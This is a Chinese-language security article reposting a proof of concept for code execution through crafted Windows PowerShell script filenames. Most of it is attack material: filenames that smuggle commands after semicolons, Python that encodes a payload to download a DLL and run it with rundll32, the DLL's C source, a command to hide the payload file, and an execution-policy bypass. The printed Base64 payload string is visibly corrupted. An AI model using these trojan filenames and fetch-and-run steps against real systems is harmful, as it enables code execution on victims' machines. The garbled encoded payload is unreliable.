Windows PowerShell 木马文件 RCE
2023-6-10 11:17:42 Author: Ots安全(查看原文) 阅读量:41 收藏

Windows PowerShell 文件名代码执行 POC

发现:John Page(又名 hyp3rlinx)2019 年和 2023 年修订

由于它仍然有效,我除尘并做了一些小改进:

使用 rundll32 执行远程 DLL

执行意外的辅助 PS1 脚本或本地文本文件(可以隐藏)

更新了 PS1 木马文件名创建器 Python3 脚本

最早于 2019 年向 Microsoft 报告,但截至撰写本文时仍未修复。

通过特制的文件名远程执行代码。

缺陷是由于分号“;” 我们可以解码 Base64 命令并直接从 PS1 文件名或仅执行命令执行。

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

直接调用命令

"Testing;saps (gc -) PoC;.ps1"

矢量图:双击、拖放至PS快捷方式

利用替代的速记 PS 命令,如“saps”、“gc”启动进程和获取内容等。

DLL 执行示例:

创建一个木马 PS1 文件,它将尝试下载并执行名为“1.d”的远程 DLL

Python:从 base64 导入 b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))cwBhAHAAcwAgACAAaAB0AHQACAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQabABsADAMAMgAgACQASABPAE0ARQBcAEQABwB3AG4AbABvAGEAZ ABzAFwAMQAuAGQALAgADAA

动态链接库代码:

#include <windows.h>//gcc -shared -o mydll.dll mydll.c -m32//hyp3rlinxvoid evilo(void){MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){evilo();return 0;}
python -m http.server 80

双击木马 PS1 文件。

文本文件代码执行示例:

创建一个名称包含 saps“启动进程”和 gc“获取内容”的 PS1 文件,这将从隐藏文件中读取命令。

"Test;saps (gc -) PoC;.ps1"

创建隐藏:attrib +s +h "-"

双击或拖放。

要求:

a) PowerShell PS1 文件必须设置为使用 PowerShell 作为默认程序打开

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy 绕过 -Force

c) 用户必须双击、从 cmd 行运行或拖放恶意命名的 PS1 脚本

https://www.youtube.com/watch?v=-ZJnA70Cf4I

项目地址:https://github.com/hyp3rlinx/PSTrojanFile

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247498554&idx=1&sn=a3a5bb6079d1172014e24570b42c671d&chksm=9badb271acda3b6790665a529407d4dbb6d48c0db049f1f025faf5e205faaa23c5c12deb2ee5#rd
如有侵权请联系:admin#unsafe.sh